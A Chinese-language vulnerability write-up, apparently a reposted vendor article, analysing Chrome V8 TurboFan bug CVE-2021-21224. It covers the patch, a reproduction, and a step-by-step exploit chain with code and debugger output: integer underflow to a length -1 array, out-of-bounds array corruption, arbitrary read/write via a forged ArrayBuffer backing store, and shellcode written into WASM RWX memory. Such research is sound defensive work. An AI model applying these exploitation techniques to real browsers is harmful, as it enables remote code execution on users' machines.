当前位置:   article > 正文

手把手教你详细分析 Chrome 1day 漏洞 (CVE-2021-21224)

cve-2021-21224影响版本

 聚焦源代码安全,网罗国内外最新资讯!

本文共分五部分:

一、时间线

二、背景

三、漏洞及补丁分析

1、漏洞复现

四、漏洞利用分析

1、漏洞利用

2、内存读写

3、代码执行

五、参考资料

一、时间线

  • 2021年4月4日 - tr0y4 在 Chromium issue tracker 中提交该漏洞;

  • 2021年4月12日 - Chromium 修复该漏洞,除了补丁外还公开了相关的poc;

  • 2021年4月14日 - 国内的研究员 frust93717815 公开了此漏洞的exp[1][2],影响未开沙箱的稳定版 Chrome 浏览器;

  • 2021年4月20日 - Chrome发布更新及致谢,对应的CVE编号为 CVE-2021-21224。

二、背景


该漏洞发生在v8的优化编译器 TurboFan 中,具体发生在 JIT 的 Simplified-Lowering 阶段。关于TurboFan的介绍可以参考 ”Introduction to TurboFan”[3]。有关 Simplefied-Lowering 阶段的具体细节可以参考 CVE-2020-16040 的分析[4]。此外,本文使用Turbolizer 展示 TurboFan 不同优化阶段的 sea of nodes graph。

下面简单介绍一下sea of nodes,它是TurboFan运行时的程序表示形式。TurboFan在优化代码时,整个代码是以graph的形式存储的,每个节点就是一个node,包括数学运算、加载、存储、调用、常数等形式。每个node的具体信息如下:

  1. class NodeInfo final {
  2. public:
  3. private:
  4. enum State : uint8_t { kUnvisited, kPushed, kVisited, kQueued };
  5. State state_ = kUnvisited;
  6. MachineRepresentation representation_ =
  7. MachineRepresentation::kNone; // Output representation.
  8. Truncation truncation_ = Truncation::None(); // Information about uses.
  9. Type restriction_type_ = Type::Any();
  10. Type feedback_type_;
  11. bool weakened_ = false;
  12. };
每个 node 都有一个 restriction type 和一个 feedback type ,前者可以理解为节点初始化后的类型,后者则是在实际优化过程中反馈的真实类型。Node 的 representation 则表示节点的表示类型,具体如下:
  1. enum class MachineRepresentation : uint8_t {
  2. kNone,
  3. kBit,
  4. // Integral representations must be consecutive, in order of increasing order.
  5. kWord8,
  6. kWord16,
  7. kWord32,
  8. kWord64,
  9. // (uncompressed) MapWord
  10. // kMapWord is the representation of a map word, i.e. a map in the header
  11. // of a HeapObject.
  12. // If V8_MAP_PACKING is disabled, a map word is just the map itself. Hence
  13. // kMapWord is equivalent to kTaggedPointer -- in fact it will be
  14. // translated to kTaggedPointer during memory lowering.
  15. // If V8_MAP_PACKING is enabled, a map word is a Smi-like encoding of a map
  16. // and some meta data. Memory lowering of kMapWord loads/stores
  17. // produces low-level kTagged loads/stores plus the necessary
  18. // decode/encode operations.
  19. // In either case, the kMapWord representation is not used after memory
  20. // lowering.
  21. kMapWord,
  22. kTaggedSigned, // (uncompressed) Smi
  23. kTaggedPointer, // (uncompressed) HeapObject
  24. kTagged, // (uncompressed) Object (Smi or HeapObject)
  25. kCompressedPointer, // (compressed) HeapObject
  26. kCompressed, // (compressed) Object (Smi or HeapObject)
  27. // FP and SIMD representations must be last, and in order of increasing size.
  28. kFloat32,
  29. kFloat64,
  30. kSimd128,
  31. kFirstFPRepresentation = kFloat32,
  32. kLastRepresentation = kSimd128
  33. };


三、漏洞及补丁分析


根据commit信息得知,漏洞发生在 RepresentationChanger:: GetWord32RepresentationFor 函数内。该函数的调用栈如图 1,对该函数的调用主要发生在 Simplified-Lowering 阶段:

   图1. GetWord32RepresentationFor 调用栈 

                       

具体补丁如图 2,output_rep 为传入节点的 Representation 类型, output_type 为当前节点的 feedback type,use_info 为当前节点的后继节点信息(主要用于区分32位或64位)。所以修复之前的逻辑是满足两种情况之一可以更新op:一是当前节点的 feedback type 是 Signed32 或者 UnSigned32;二是当前节点 feedback type 为 SafeInteger 且其后继节点被用作32位使用(IsUsedAsWord32)。

修复后的逻辑则是满足以下三个条件之一便可以更新:一是当前节点的 feedback type是Signed32;二是当前节点feedback type是UnSigned32并且后继节点类型是None;三是当前节点为SafeInteger并且后继节点被用作32位使用。

图2. 补丁信息

对比修复前后的逻辑可以发现,在当前节点的 feedback type 为UnSinged32时,并不能直接修改op,需要保证后继节点类型为 None 才能修改。漏洞正是利用了这一条件,在当前节点满足UnSigned32时,其后继节点类型不为None(exp中后继节点类型如图 3所示,为 SingdeSmall,是一个有符号数),最后 op 被赋值为 TruncateInt64ToInt32。

因此,所有传入到当前 TruncateInt64ToInt32 节点的数字都会直接转为一个有符号32位数,如果传入的数字恰好使用到了对应32位数的符号位(比如 exp 中使用的 0xffffffff),那么就会发生整数下溢。

图3. 后继节点的 use_info

漏洞复现

为了验证漏洞,本文使用补丁发布前一个版本的v8代码进行实验,commit 哈希为 f87baad0f8b3f7fda43a01b9af3dd940dd09a9a3。为了便于理解,本文简化了 exp 中的 foo 函数如下:

  1. function test(a) {
  2. let x = -1;
  3. if (a) x = 0xFFFFFFFF;
  4. let y = Math.max(0, x, -1);
  5. let z = Math.sign(0 - y);
  6. return z
  7. }
  8. %PrepareFunctionForOptimization(test);
  9. ret1 = test(false);
  10. print(ret1); // 0
  11. %OptimizeFunctionOnNextCall(test);
  12. ret2 = test(true);
  13.        print(ret2);   // 1

这里我们通过对比 Simplified Lowering 及其前一阶段 EscapeAnalysis 的graph结果来展示修复前后turbolizer graph的变化。如图 1所示,在EscapeAnalysis 阶段70号节点对应到Max的返回结果,它作为51号节点的输入,继续进行下一步的减法操作(SpeculativeSafeIntegerSubtract)。而经过Simplified Lowering 阶段后,70号节点和51号节点之间被插入了一个新的95号节点 TruncateInt64ToInt32,直接将70号节点的输出转为一个32位有符号数,再进行减法操作。

此时再来看本节使用的例子,Max的返回值是 0xffffffff,即y=0xffffffff,经过TruncateInt64ToInt32节点后,y被转成32位有符号数,也就是-1,发生了整数下溢。因此z最后经过 sign 函数得出的结果是1。

图 4. 修复前EscapeAnalysis阶段的turbolizer graph

图 5. 修复前Simplified Lowering阶段的turbolizer graph

修复之后得到的 turbolizer graph如图 6,可以看出原本的TruncateInt64ToInt32 节点现在变成了 CheckedUint64ToInt32,在将64位无符号数转为32位有符号数时会进行检查,避免了整数溢出。

图6. 修复后Simplified Lowering阶段的turbolizer graph

  四、漏洞利用分析


1. 漏洞利用

单独的整数溢出并不能实现 RCE,与之前 CVE-2020-16040[5]和CVE-2021-21220[6]的exploit类似,该 exploit 的作者结合 shift 函数获得一个长度为-1的数组,实现 OOB。

exp 中触发漏洞的地方在 foo 函数,下面的代码只保留了原始 exp 中获取长度为 -1 数组的部分。注释中标注出了每一行代码执行后的结果,可以看到最后声明的 arr 数组实际长度为 1,但是经过 shift 操作后长度直接变成了-1:

  1. function foo(a) { // a = true
  2. let x = -1; // x = -1
  3. if (a) x = 0xFFFFFFFF; // x = 0xffffffff
  4. let y = Math.max(0, x, -1); // y = 0xffffffff
  5. let z = Math.sign(0 - y); // 溢出,y = -1 => z = 1
  6. var arr = new Array(z); // arr = new Array(1);
  7. arr.shift(); // arr.length = -1;
  8. return arr;
  9. }
  10. %PrepareFunctionForOptimization(foo);
  11. xx = foo(false);
  12. %OptimizeFunctionOnNextCall(c);
  13. corrput_arr = foo(true);
  14. print(corrput_arr.length); // -1

下面通过对 turbolizer graph(Simplified-Lowering阶段)中各个节点的分析来详细说明产生上述情况的原因。

图7是2-4行代码中包含的关键节点,首先,前两行代码决定x的范围是(-1,4294967295),接着到Math.max函数中,x首先和0比较取最大值,所以更新后的范围是(0, 4294967295),然后再与-1比较取最大值,范围没有变化,仍然是(0, 4294967295)。

图7. Math.max函数输出结果

在此之后90号节点的值会先被转为 Int32 然后进行一个减法操作,对应代码就是第5行中的0-y,对应的范围是(-4294967295,0)。需要注意的是这里的范围并不是真实的范围,后续还会有 feedback type 的更新会进一步更新这个范围,但是这里对后续的结果并没有影响。Math.sign 函数会根据根据参数的正负,返回+1/-1,此外还有+0/-0/NaN,由于这里+-0并不会对最终结果有影响,所以本文不做过多讨论。由于0-y的值小于等于零,所以该函数输出结果只能是(-1,0),即z的范围是(-1,0)。接着到第6行代码声明数组,会对数组的边界做检查(长度必须要大于零),所以把z的范围和0取交集得到最后数组长度的范围是(0,0)。

Shift 操作会移除数组中的一个元素,并把数组长度减一。由于数组的长度只能是0,所以 jit 在优化过程中直接把shift之后数组的长度固定为0-1 = -1,这就是为什么 shift 之前数组长度是1,shift之后长度直接变成了-1。这里其实利用了shift函数中存在的一个bug,即该函数未对数组的边界做检查,无论原始数组的长度如何都直接进行减一操作。由于数组长度为0,所以shift之后长度固定为-1,这一值被直接写入到jit优化后的代码中(在图 9中,长度被直接赋值为0xfffffffe,也就是-2,经过调试发现 jsarry 在内存中存储的长度数值左移了1位,这是为了保证其内存中所有的数字都是以0结尾,指针以1结尾,具体可以参考JS类型对象的内存布局[8]),因此最终得到数组的长度为-1。

图 8. 边界检查结果

还有一点需要注意的是,由于shift 操作还会移除数组中的的一个元素,所以如果第6行声明的数组中不包含任何元素,则移除元素操作会导致v8直接崩溃。exp中利用溢出恰好声明了一个长度为1的数组,满足了这一限制条件。这也解释了另一个问题,如果不利用整数溢出漏洞,直接声明一个长度为0的数组,那么根据优化后的jit代码是不是也能得到一个长度为-1的数组呢。实际上jit代码中在shift之前对长度做了验证,如图 9所示,rdi为数组的长度,如果长度为0的话会直接跳过数组长度更新而直接返回,所以无法获得一个长度-1的数组。

图9. 调用shift前的边界检查及长度赋值操作

当然,谷歌也在4月15日的更新中修复了该bug[7]。在该补丁中,shift以及类似的pop函数在计算出新的数组长度后会首先进行边界检查,基本上杜绝了类似的利用方式。

图 10. [turbofan] Harden ArrayPrototypePop and ArrayPrototypeShift补丁

2. 内存读写

1)  越界访问rwarr数组

exp在 arr 数组之后又声明了一个长度为2的数组和一个长度为0x1000的ArrayBuffer,接着修改了corrput_arr[12]的值,这里其实就是利用溢出修改了rwarr数组的长度。

  1. function foo(a) {
  2. let x = -1;
  3. if (a) x = 0xFFFFFFFF;
  4. var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
  5. arr.shift();
  6. let local_arr = Array(2);
  7. local_arr[0] = 5.1;//4014666666666666
  8. let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
  9. arr[0] = 0x1122;
  10. return [arr, local_arr, buff];
  11. }
  12. for (var i = 0; i < 0x10000; ++i)
  13. foo(false);
  14. gc(); gc();
  15. [corrput_arr, rwarr, corrupt_buff] = foo(true);
  16. corrput_arr[12] = 0x22444;
  17.        delete corrput_arr;

根据调试信息可以得知,corrput_arr中元素的位置在0x18b80828216c,每个元素的长度是4字节,rwarr中元素的位置在0x18b8082821a8,根据二者之间的距离,减去corrput_arr前八个字节(分别为元素的map和长度),就可以计算出corrput_arr数组第13个元素对应的就是rwarr数组的长度。通过将该长度修改为一个较大的值(比如0x22444),可以实现对rwarr数组的越界访问。

  1. d8> %DebugPrint(rwarr);
  2. DebugPrint: 0x18b808282199: [JSArray]
  3. - map: 0x18b808243b09 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
  4. - prototype: 0x18b80820bba1 <JSArray[0]>
  5. - elements: 0x18b8082821a9 <FixedDoubleArray[2]> [HOLEY_DOUBLE_ELEMENTS]
  6. - length: 2
  7. - properties: 0x18b80804222d <FixedArray[0]>
  8. - All own properties (excluding elements): {
  9. 0x18b8080446d5: [String] in ReadOnlySpace: #length: 0x18b80818215d <AccessorInfo> (const accessor descriptor), location: descriptor
  10. }
  11. - elements: 0x18b8082821a9 <FixedDoubleArray[2]> {
  12. 0: 5.1
  13. 1: <the_hole>
  14. }
  15. d8> %DebugPrint(corrput_arr);
  16. DebugPrint: 0x18b808282179: [JSArray]
  17. - map: 0x18b808243ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
  18. - prototype: 0x18b80820bba1 <JSArray[0]>
  19. - elements: 0x18b80828216d <FixedArray[67244566]> [HOLEY_SMI_ELEMENTS]
  20. - length: -1
  21. - properties: 0x18b80804222d <FixedArray[0]>
  22. - All own properties (excluding elements): {
  23. 0x18b8080446d5: [String] in ReadOnlySpace: #length: 0x18b80818215d <AccessorInfo> (const accessor descriptor), location: descriptor
  24. }
  25. - elements: 0x18b80828216d <FixedArray[67244566]> {
  26. 0: 4386
  27. 1: 0x18b808243ab9 <Map(HOLEY_SMI_ELEMENTS)>
  28. 2: 0x18b80804222d <FixedArray[0]>
  29. 3: 0x18b80828216d <FixedArray[67244566]>
  30. 4: -1
  31. 5: 0x18b808042205 <Map>
  32. 6: 2
  33. 7-8: 0x18b80804242d <the_hole>
  34. 9: 0x18b808243b09 <Map(HOLEY_DOUBLE_ELEMENTS)>
  35. 10: 0x18b80804222d <FixedArray[0]>
  36. 11: 0x18b8082821a9 <FixedDoubleArray[2]>
  37. 12: 2
2)  越界访问corrupt_buff

setbackingStore 就是设置 corrput_buf 中 backing_store 的值,leakObjLow则是泄露地址o处的信息。

  1. function setbackingStore(hi, low) {
  2. rwarr[4] = i2f(fLow(rwarr[4]), hi);
  3. rwarr[5] = i2f(low, fHi(rwarr[5]));
  4. }
  5. function leakObjLow(o) {
  6. corrupt_buff.slot = o;
  7. return (fLow(rwarr[9]) - 1);
  8.        }   

rwarr设置的第一个元素值为5.1,长度8字节,所以数组中元素都是8字节,因此rwarr[4]的位置在0x18b8082821a98+8+4*8=0x18b8082821ac0,该地址再加4便是corrupt_buff的backing_store的地址, 因此这里还需要用到rwarr[5],分别修改rwarr[4]的高四个字节和rwarr[5]的低4个字节,就可以实现对backing_store的修改。后续exp会从corrupt_buff中生声明一个Dataview,而backing_store记录的就是实际DataView的内存地址。如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。

leakObjLow函数使用corrupt_buff的slot属性,修改该属性为某一对象o,那么o的地址就会被写入到corrupt_buff所在的内存区间中,然后利用rwarr的溢出访问该值,实现泄露。

  1. d8> %DebugPrint(corrupt_buff);
  2. DebugPrint: 0x18b8082821c1: [JSArrayBuffer]
  3. - map: 0x18b808247231 <Map(HOLEY_ELEMENTS)> [FastProperties]
  4. - prototype: 0x18b808213209 <LeakArrayBuffer map = 0x18b808247209>
  5. - elements: 0x18b80804222d <FixedArray[0]> [HOLEY_ELEMENTS]
  6. - embedder fields: 2
  7. - backing_store: 0x555557780540
  8. - byte_length: 4096
  9. - detachable
  10. - properties: 0x18b80804222d <FixedArray[0]>
  11. - All own properties (excluding elements): {
  12. 0x18b808213e61: [String] in OldSpace: #slot: 45887 (const data field 0), location: in-object
  13. }
  14. - embedder fields = {
  15. 0, aligned pointer: (nil)
  16. 0, aligned pointer: (nil)
  17. }


3. 代码执行

代码执行的方法利用了WASM的RWX段。通过泄露该RWX段的地址,将shellcode写入,最后调用WASM的导出函数即可实现代码执行。

  1. let corrupt_view = new DataView(corrupt_buff); //基于corrupt_buff声明DataView
  2. let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); // 泄露地址的低四字节
  3. let idx0Addr = corrupt_buffer_ptr_low - 0x10; // 根据偏移计算rwarr[0]的位置
  4. let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ ptr_low & 0xffff0000) % 0x40000) + 0x40000;
  5. let delta = baseAddr + 0x1c - idx0Addr;
  6. if ((delta % 8) == 0) {
  7. let baseIdx = delta / 8;
  8. this.base = fLow(rwarr[baseIdx]);
  9. } else {
  10. let baseIdx = ((delta - (delta % 8)) / 8);
  11. this.base = fHi(rwarr[baseIdx]);
  12. } // 计算地址的高四字节
  13. let wasmInsAddr = leakObjLow(wasmInstance); //泄露wasm实例的地址
  14. setbackingStore(wasmInsAddr, this.base); // 将wasm地址写入backing store
  15. let code_entry = corrupt_view.getFloat64(13 * 8, true); // 利用DataView读取wasm实例中导出函数代码入口的地址
  16. setbackingStore(fLow(code_entry), fHi(code_entry)); // 将代码入口地址写入backing store
  17. for (let i = 0; i < shellcode.length; i++) {
  18. corrupt_view.setUint8(i, shellcode[i]); // 通过DataView写入shellcode到代码入口位置
  19. }
  20. main(); // 调用导出函数,实现利用


五、参考资料

[1]. avboy1337 (Apr 14, 2021). 1195777-chrome1day. https://github.com/avboy1337/1195777-chrome0day

[2]. frust (Arp 15, 2021). Chromium V8 JavaScript引擎远程代码执行漏洞分析讨论。http://noahblog.360.cn/chromium_v8_remote_code_execution_vulnerability_analysis/

[3]. Jeremy (Jan 28, 2019) Introduction to TurboFan. 

https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan

[4]. Faith (Jan, 2021). Analyzing CVE-2020-16040. https://faraz.faith/2021-01-07-cve-2020-16040-analysis/

[5]. r4j0x00 (Apr 5, 2021). Exploit of CVE-2020-16040. https://github.com/r4j0x00/exploits/tree/master/CVE-2020-16040

[6]. r4j0x00 (Apr 13, 2021). Exploit of CVE-2021-21220. https://github.com/r4j0x00/exploits/tree/master/chrome-0day

[7]. Sergei Glazunov (Apr 15, 2021). [turbofan] Harden ArrayPrototypePop and ArrayPrototypeShift 

https://chromium-review.googlesource.com/c/v8/v8/+/2823707

[8]. Stanko Jankovic (Jun 10, 2019). V8 Bug Hunting Part 2: Memory representation of JS types. 

https://medium.com/@stankoja/v8-bug-hunting-part-2-memory-representation-of-js-types-ea37571276b8

推荐阅读

详细分析 Chrome V8 JIT 漏洞 CVE-2021-21220

Codecov后门事件验证分析

又一枚 Chrome 0day现身

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "赞” 吧~

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/624304
推荐阅读
相关标签
  

闽ICP备14008679号